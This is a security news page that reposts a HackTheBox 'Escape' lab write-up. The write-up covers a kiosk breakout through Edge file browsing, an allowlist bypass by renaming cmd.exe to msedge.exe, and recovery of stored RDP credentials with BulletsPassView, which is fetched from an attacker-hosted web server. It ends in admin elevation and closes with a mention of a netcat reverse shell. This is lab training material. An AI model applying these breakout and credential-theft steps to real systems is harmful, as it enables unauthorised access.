Zum Hauptinhalt springen
LIVE
CVSS 6.9CVE-2026-137684 | A security flaw has been discovered in eosphoros-ai DB-GPT up to 0.8.3. This affects the function editor_sql_run of the file packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/editor/api_editor_v1.py of the component Editor SQL Run API. Performing a manipulation of the argument db_name results in authorization bypass. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The pull request to fixCVSS 8.7CVE-2026-137992 | libexpat through 2.11.0 contains a denial of service vulnerability in defineAttribute() of lib/xmlparse.c that fails to detect duplicate non-ID #IMPLIED or #REQUIRED attribute declarations. Attackers can supply a crafted XML document with repeated ATTLIST declarations in an internal DTD subset to cause quadratic CPU consumption in storeAtts() during parsing.CVSS 8.5CVE-2026-137994 | Leo through 6.8.10 contains an insecure deserialization vulnerability that allows attackers to execute code by embedding pickled data in unknown XML attributes of .leo outlines. Attackers can place a pickle __reduce__ gadget in a or element attribute that resolveUa passes to pickle.loads, executing code with user privileges when the outline is opened.CVSS 7.0CVE-2026-137995 | FOG Project before 1.6.0.119 contains an information disclosure vulnerability that allows unauthenticated attackers to obtain host tokens from status/hostgetkey.php by supplying a host MAC address. Attackers can present the token to service/hostinfo.php to retrieve decrypted Active Directory join credentials and Windows product keys during deployment windows.CVSS 6.8CVE-2026-137996 | Zettlr before 4.11.0 fails to validate URI schemes in Markdown link targets, allowing attackers to launch arbitrary registered protocol handlers via Electron shell.openExternal without confirmation. Attackers can craft documents whose Ctrl/Cmd-clicked links use smb:// to leak NTLM credential hashes on Windows or invoke custom protocol handlers with attacker-controlled parameters.CVSS 8.5CVE-2026-137997 | HCIPy through 0.7.1 contains an insecure deserialization vulnerability that allows attackers to execute code by supplying crafted .pkl files to read_field, read_grid or read_mode_basis. Because hcipy/util/io.py selects pickle by file extension and calls pickle.load, a __reduce__ gadget in a pupil, apodizer, PSF or mode-basis file runs code with the user's privileges.CVSS 8.5CVE-2026-137998 | Detoxify 0.5.3 through 0.5.4 contains an insecure deserialization vulnerability in load_checkpoint that allows attackers to execute code by supplying a crafted checkpoint file. Attackers can embed a pickle __reduce__ gadget in a .ckpt file loaded via torch.load with weights_only=False to run code with the user's privileges.CVSS 8.5CVE-2026-137999 | JSONSchema2PoPo2 through 3.0.3 contains a code injection vulnerability that allows attackers to inject Python code by supplying JSON Schema default or format values that are written unescaped. Attackers can place a single quote in a string property default to break out of the literal in the generated __init__ signature, executing injected code when the generated module is imported.
Alle im Drawer
Intelligence View
⚡ tsecurity.de Intelligence

HackTheBox: vulnEscape Writeup

Summary Escape is a Windows box that exposes only RDP (3389). The RDP session drops you into a locked-down kiosk account (KioskUser0) meant for a "Conference…

Beitrag
0
Seite
0
↗ Quelle (dev.to)
CVE & Threat-Kontext · 7 Min. Lesezeit
Quelle: dev.to
Rubrik: Sichere Programmierung




Summary



Escape is a Windows box that exposes only RDP (3389). The RDP session drops you into a locked-down kiosk account (KioskUser0) meant for a "Conference Display" app. The box is solved entirely through a kiosk breakout: abusing Edge's address bar to browse the local filesystem, bypassing an application allowlist by renaming binaries, then finding a third-party RDP client (Remote Desktop Plus) with saved-but-masked credentials for the admin account. Those credentials are recovered with a Nirsoft password-reveal tool, and admin turns out to be a local administrator, giving full SYSTEM-level access after a UAC prompt.









Reconnaissance



Only one port open - RDP:




nmap -A -Pn <machine-ip> -oA nmap

PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Escape
| rdp-ntlm-info:
| Target_Name: ESCAPE
| NetBIOS_Domain_Name: ESCAPE
| NetBIOS_Computer_Name: ESCAPE
| DNS_Domain_Name: Escape
| DNS_Computer_Name: Escape
| Product_Version: 10.0.19041






Full port scan confirmed only 3389/tcp is reachable. Windows 11-based build, standalone workgroup box (ESCAPE).



Added it to hosts and connected:




echo '<machine-ip> escape.vl ESCAPE.VL' >> /etc/hosts
xfreerdp /v:<machine-ip> /cert:ignore /sec:tls






The login screen tells you exactly what to do:




Conference Display - Login as KioskUser0 without Password










Foothold - Breaking Out of the Kiosk



Logging in as KioskUser0 drops you straight into a wallpaper ("Busan Expo") with no visible taskbar or icons. Clicking around does nothing.




  • Pressing the Windows key brings up the Start menu / search bar.

  • Searching cmd and clicking it → does nothing (blocked).

  • Searching edge → opens successfully. So the restriction looks like an allowlist, not a blocklist — only specific apps (like Edge) are permitted to launch.

  • With Edge open, typing C:\ directly into the address bar renders a directory listing of the filesystem (Edge treats it as a local file:// browse). This is enough to walk the entire disk from the browser.



Browsing to the kiosk user's desktop:




C:\Users\KioskUser0\Desktop\user.txt









user.txt: [REDACTED]









Getting a real shell - allowlist bypass



Browsing to C:\Windows\System32\, I located cmd.exe and downloaded it via Edge into the Downloads folder. Running it directly failed:




제한 사항 (Restriction)
이 작업은 시스템 제한 때문에 취소되었습니다. 시스템 관리자에게 문의하십시오.
(This operation was cancelled due to system restrictions. Contact your administrator.)






Renaming the downloaded binary didn't help at first — but since Edge (msedge.exe) is the one thing the allowlist actually permits, renaming cmd.exe → msedge.exe and running it bypassed the restriction entirely and popped a working shell:




C:\Users\kioskUser0\Downloads>whoami
escape\kioskuser0

C:\Users\kioskUser0\Downloads>whoami /all
USER INFORMATION
----------------
User Name SID
escape\kioskuser0 S-1-5-21-3698417267-3345840482-3422164602-1002

GROUP INFORMATION (relevant)
BUILTIN\Remote Desktop Users
BUILTIN\Users
Mandatory Label\Medium Mandatory Level

PRIVILEGES INFORMATION
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled






Same rename trick works for powershell.exe (download it, rename to msedge.exe, run it) to get a real PowerShell session instead of cmd.









Enumeration as kioskuser0






PS C:\Users> dir
admin
Administrator
DefaultAppPool
kioskUser0
Public

PS C:\Users> cd .\admin\
dir : Access to the path 'C:\Users\admin' is denied.

PS C:\Users> net user
admin Administrator DefaultAccount
Guest kioskUser0 WDAGUtilityAccount






Can't read admin's profile directly, but a hidden admin-owned folder is visible at the root of C:\:




PS C:\> Get-ChildItem -Force
d--h-- _admin
...
d----- temp









PS C:\_admin> ls
installers/
passwords/
temp/
Default.rdp
profiles.xml






profiles.xml is a config file for a third-party RDP client:




PS C:\_admin> type .\profiles.xml
<?xml version="1.0" encoding="utf-16"?>
<!-- Remote Desktop Plus -->
<Data>
<Profile>
<ProfileName>admin</ProfileName>
<UserName>127.0.0.1</UserName>
<Password>JWqkl6IDfQxXXmiHIKIP8ca0G9XxnWQZgvtPgON2vWc=</Password>
<Secure>False</Secure>
</Profile>
</Data>






An encrypted/encoded password for the admin profile — but we can't decrypt it manually, so the plan is to load it into the actual Remote Desktop Plus app and let the GUI decrypt it for us.









Recovering the Password



Remote Desktop Plus is installed under Program Files (x86):




PS C:\Program Files (x86)> ls
Remote Desktop Plus/

PS C:\Program Files (x86)\Remote Desktop Plus> ls
rdp.exe






Since C:\_admin isn't writable/reachable from the app's file picker, first copy profiles.xml somewhere the low-priv user can access:




copy C:\_admin\profiles.xml C:\Users\kioskUser0\Downloads\






Ran rdp.exe → Manage Profiles → Import → selected the copied profiles.xml. The admin profile now loads in the app, with the password field shown as bullets (••••••••). Double-clicking / editing / copying the field is all blocked — no cleartext, no clipboard.



To reveal it, used a Nirsoft tool that reads masked password fields from Windows dialogs: BulletsPassView.





# attacker box
unzip bulletspassview.zip
python3 -m http.server 80






Downloaded BulletsPassView.exe onto the target from http://<your-ip>/BulletsPassView.exe (via the browser filesystem trick again), ran it against the open Remote Desktop Plus dialog, and it revealed the masked field:




Password: Twisting30217












Privilege Escalation — kioskuser0 → admin



Confirmed admin is a local administrator:




PS C:\temp> net user admin
Local Group Memberships *Administrators
Password required No






First attempt with runas didn't actually elevate (still showed kioskuser0 after — likely a profile/token quirk with runas in this restricted context):




runas /user:admin powershell






Instead, spawning PowerShell with an elevation request worked and triggered a normal UAC consent prompt:




Start-Process powershell.exe -Verb runas






The prompt asked to allow Windows PowerShell (Microsoft-signed) to make changes — clicked Yes, and landed in an elevated shell:




PS C:\Windows\system32> whoami
escape\admin












Root Flag






PS C:\Users\Administrator\Desktop> ls
Microsoft Edge.lnk
root.txt

PS C:\Users\Administrator\Desktop> type .\root.txt
[REDACTED]






At this point you're escape\admin, a full local administrator with no shell restrictions — from here you can also drop nc64.exe, catch a reverse shell, and operate as SYSTEM without any of the kiosk-mode limitations.









Key Vulnerabilities & Attack Chain





  1. Kiosk breakout via browser LOLBin — Edge's address bar accepts local paths (C:\) and renders a full directory listing, giving filesystem access from a "locked down" kiosk session.


  2. Weak application allowlist — restriction is enforced by filename/allowlist rather than a real AppLocker/SRP hash policy, so simply renaming cmd.exe/powershell.exe to msedge.exe bypasses it entirely.


  3. Cleartext-recoverable stored credentials — Remote Desktop Plus stores admin RDP credentials in a world-readable-once-copied profiles.xml; the app's own password masking is trivially defeated with a generic password-reveal tool (BulletsPassView), since it's just a masked UI field, not real encryption-at-rest protection.


  4. Weak/no password policy — admin account had "password required: No" enabled at some point and a simple password (Twisting30217).


  5. Standard UAC consent — once valid admin credentials/session are available, Start-Process -Verb runas + accepting the UAC prompt is enough to get a fully elevated administrator shell.









Attack Chain






RDP → KioskUser0 (no password)
│
├── Kiosk breakout
│ ├── Win key → Start search
│ │ ├── "cmd" → blocked (allowlist)
│ │ └── "edge" → allowed
│ └── Edge address bar → C:\ (file:// directory listing)
│ └── user.txt [FLAG 1]
│
├── Shell access
│ ├── Download cmd.exe / powershell.exe from System32
│ ├── Rename → msedge.exe
│ └── Run → allowlist bypassed → shell as escape\kioskuser0
│
├── Credential discovery
│ ├── C:\_admin\profiles.xml (Remote Desktop Plus config)
│ ├── copy → C:\Users\kioskUser0\Downloads\
│ ├── Import into rdp.exe (Remote Desktop Plus GUI)
│ │ └── password shown as ●●●●●●●● (masked)
│ └── BulletsPassView.exe (hosted on attacker box, downloaded to target)
│ └── reveals password → Twisting30217
│
└── Privilege escalation
├── net user admin → member of Administrators
├── runas /user:admin powershell → didn't elevate
└── Start-Process powershell -Verb runas
└── UAC prompt → Yes → escape\admin
└── root.txt [FLAG 2]


Information ergänzen Fachhinweis, Update, Korrektur oder Quelle zur Meldung beitragen
Gäste-Hinweise werden kurz redaktionell geprüft und danach hier angezeigt.

Community-Hinweise zur Meldung

0 freigegeben
Social ReaktionenReagiere als Erste:r — dein Feedback zählt!
Informations-Bewertung:

💬 Community-Diskussion & Kommentare

🌐 Zum Hauptchat

Starte die Diskussion im Social-Chat Broadcast Stream oder reiche oben über „Information ergänzen“ einen Fachbeitrag ein.

Cyber Threat Intelligence & Forensik

ATT&CK-Navigator · IoC-Radar & Graph

MITRE ATT&CK Matrix Navigator
4 belegte Techniken
T1068TA0004 · Privilege Escalation
Exploitation for Privilege Escalation
Mitigation: M1026 Privileged Account Management & Patching
Quelle: Kontext-Klassifikation des Artikeltextes · Konfidenz 90%
Patch-Stand prüfen, privilegierte Konten beschränken, sudo-/polkit-Regeln härten.
T1059TA0002 · Execution
Command and Scripting Interpreter
Mitigation: M1038 Execution Prevention & Script Block Logging
Quelle: Kontext-Klassifikation des Artikeltextes · Konfidenz 82%
Prozess- und Skript-Logging erzwingen (Sysmon/auditd), Ausführung nicht vertrauenswürdiger Skripte blockieren.
T1071TA0011 · Command and Control
Application Layer Protocol (C2)
Mitigation: M1031 Network Intrusion Prevention & Egress Filtering
Quelle: Kontext-Klassifikation des Artikeltextes · Konfidenz 80%
Egress-Filtering einführen, DNS-Monitoring aufrichten, Netzwerk-Logs nach C2-Beacon-Mustern durchsuchen.
T1595TA0007 · Discovery
Active Scanning
Mitigation: M1056 Pre-compromise
Quelle: Kontext-Klassifikation des Artikeltextes · Konfidenz 72%
Eigene Angriffsfläche regelmäßig extern scannen, Attack-Surface-Monitoring aufrichten, offene Ports schließen.
Execution
Privilege Escalation
Discovery
Command and Control
CTI Threat Relationship Graph
Akteure · Techniken · Beziehungen
4 Knoten · 3 Relationen
CVE / Incident Threat Actor Software MITRE ATT&CK CWE Weakness IoC
Community Rating &amp; Social Proof
⭐ Leser-Wertung
–
Ø / 5.0
Noch keine Leser-Bewertungen
War dieser Artikel hilfreich?
0
Jetzt Bewertung abgeben
Detail-Bewertung (optional)
Inhalt & Qualität
Quelle & Glaubwürdigkeit
Aktualität
Security Briefing Kostenlos · 1-Klick-Abmeldung

Intelligence Digest — kostenlos

Täglich die wichtigsten Security-News · jederzeit abbestellbar

Verwandte Story-Cluster & Quellen (Vektor-KI)

2 Cluster
2 Quellen
OpenAI counter-sues Apple over trade secret theft
AppleInsider News vor 49 Min.
1 weitere Quelle
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten HackTheBox: vulnEscape Writeup

Thematisch verwandte Begriffe: HackTheBox, vulnEscape, Writeup · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

💬 Kommentare werden geladen…
Zum Aktualisieren ziehen
Widgets & Themen
Widgets werden geladen…
Nächster Beitrag